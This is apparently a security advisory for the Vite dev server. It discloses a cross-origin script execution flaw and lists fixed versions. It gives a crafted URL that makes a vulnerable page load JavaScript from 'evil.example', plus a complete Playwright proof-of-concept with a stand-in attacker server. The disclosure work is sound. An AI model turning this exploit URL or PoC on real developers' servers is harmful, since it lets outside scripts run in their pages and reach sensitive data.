GHSA-9jrq-w75r-8gcw Vite: Cross origin script execution through Vite custom middleware

• npm vite: >= 8.3.0, < 8.3.3 → fixed in 8.3.3 • npm vite: >= 8.2.0, < 8.2.4 → fixed in 8.2.4 • npm vite: >= 8.0.0, < 8.1.6 → fixed in 8.1.6 • npm vite: >= 7.0.0, < 7.3.7 → fixed in 7.3.7 • npm vite: < 6.4.4 → fixed in 6.4.4 • npm vite-plus: < 1.1.0 → fixed in 1.1.0

Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. Impact Only apps that match the following conditions are affected: • the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. • the transformed HTML contains an inline module script • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions Details Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, `createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts` use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. The existing file branch in `indexHtml.ts` checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. The inline module rewrite in the same file writes that value into the generated `src`: ```html ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = 'document.body.textContent = "Vite app"' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true }) try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', ) console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ``` Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ```